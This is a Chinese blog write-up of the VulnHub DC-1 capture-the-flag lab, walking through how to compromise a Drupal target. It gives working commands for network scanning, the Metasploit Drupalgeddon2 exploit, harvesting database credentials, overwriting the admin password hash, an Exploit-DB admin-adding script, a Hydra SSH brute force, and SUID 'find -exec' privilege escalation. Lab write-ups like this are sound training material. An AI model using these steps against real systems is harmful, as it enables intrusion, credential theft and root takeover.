DC-1

# 靶机下载

下载地址为 https://download.vulnhub.com/dc/DC-1.zip
可在 https://download.vulnhub.com 查看相关下载
攻击机为 kali2022 (版本忘了)

# 渗透过程

# flag1

打开 kali 扫描靶机

arp-scan -l


也可以使用 nmap 扫描 (此处请根据实际修改 IP)

ifconfig
nmap -sP 192.168.232.0/24


发现目标主机后扫描开放端口

nmap -sV -A 192.168.232.133


发现开启了 80 端口,访问查看页面信息

通过 Wappalyzer 发现网站 CMS 为 Drupal
使用 msf 进行渗透

msfconsole
search Drupal


用较新的漏洞进行尝试

use exploit/unix/webapp/drupal_druopalgeddon2
show options
set RHOSTS 192.168.232.131
run


成功得到 shell,使用 py 得到交互 shell

shell
python -c 'import pty; pty.spawn("/bin/bash")'

查看文件目录发现第一个 flag 执行 cat 命令查看内容

# flag2

该 flag 提示查找 Drupal 框架配置文件

Drupal 默认数据库配置连接–>/sites/default/settings.php

直接 cd 到该目录下查看

cd /var/www/sites/default
ls
cat settings.php

# flag3

在 flag2 里发现了数据库用户和密码,连接一手

mysql -udbuser -pR0ck3t

select * from users 查询得 admin 账户

由于得到的密码是密文,无法直接登录,这里有两种方法解决
方法一:更改账户密码
使用 Drupal 对数据库的加密方法,加密脚本位置在网站根目录下的 scripts 下
回到 /var/www 路径下,运行这个 password-hash.sh 加密脚本,得到新密码

cd /var/www
php scripts/password-hash.sh 114514


将密文更改密码 (此处需要临时抱佛脚回忆一下 sql 语句)

update users set pass='$S$Db1FwryLsYBPfvEpR870QjGzJfPi64teqeVZrAZyjMh7HND/Ca4q' where uid=1;


回到靶机 80 端口开放的页面进行登录,
在 Dashboard 得到第三个 flag
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.


方法二:利用漏洞添加账户

SearchSploit 是一个用于搜索 Exploit-DB 漏洞数据的命令行工具,它可以允许你离线 Exploit 数据库,这样你就可以在本地执行离线搜索,这对于有时候不能联网的渗透工作非常的有用。

之前使用 Wappalyzer 知道 drupal 版本为 7.2
利用 searchsploit 进行攻击

searchsploit drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.232.133 -u admin2 -p 114514

这里使用 py2 的原因是 py2 对于 print 的使用不严
如果在使用以上命令有报错可以尝试声明 python2

重新登录一下 mysql 查看,发现用户已经添加了

# flag4

flag 的提示词是 passwd、-exec、shadow,看一下 /etc/passwd, 发现 flag4
看一下 /home/flag4 的文件,尝试 cat flag4/flag4.txt,拿到 flag4,发现提示我们将权限提升到 root


根据提示把权限提升至 root, 进行 SUID 提权

什么是 suid?suid 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者 / 组的权限。需要注意的是,只有程序的所有者是 0 号或其他 super user,同时拥有 suid 权限,才可以提权。
一个典型的例子是将 SUID 权限分配给 find 命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道’find’命令包含用于执行命令的参数,但攻击者可以以 root 特权执行命令。

find 命令是包含用于执行命令的参数的,如果 find 以 SUID 权限运行,所有通过 find 执行的命令都会以 root 权限运行。
也可以用 hydra 工具爆破密码,下载 John 密码包

wget clone http://www.openwall.com/john/j/john-1.8.0.tar.gz
tar -xvf john-1.8.0.tar.gz
cd john-1.8.0/src
make linux-x86-64

使用如下命令进行暴力破解

hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.101.11 -f -vV -o hydraflag4.ssh

如果直接进行了提权操作就不需要对 flag4 进行暴力破解了,可以直接看到 flag4 信息,但 flag4 用户无法查看 /root 目录内的文件信息
建议进行提权
Flag4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
你能用同样的方法来查找或访问根目录中的标志吗?
可能。但也许不是那么容易。或许是这样?

# flag5

首先找一下有 SUID 权限的文件

find / -perm -4000


看到 find 命令有 SUID 权限,所以这里可以利用 find 命令进行提权
用 find 命令包含的 - exec 参数进行提权

find /var/www -exec "/bin/sh" \;

这个命令中的 /bin/sh 是 linux 内核和用户之间的命令解释器,由此完成提权
得到最后一个 flag

thefinalflag:
Well done!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
做得好!!!!!
希望你喜欢这个并学到了一些新的技能。
你对这次小旅行的看法。
通过 Twitter 联系我 -@dcau7

End

更新於 閱讀次數

請我喝[茶]~( ̄▽ ̄)~*

Xyan 微信支付

微信支付

Xyan 支付寶

支付寶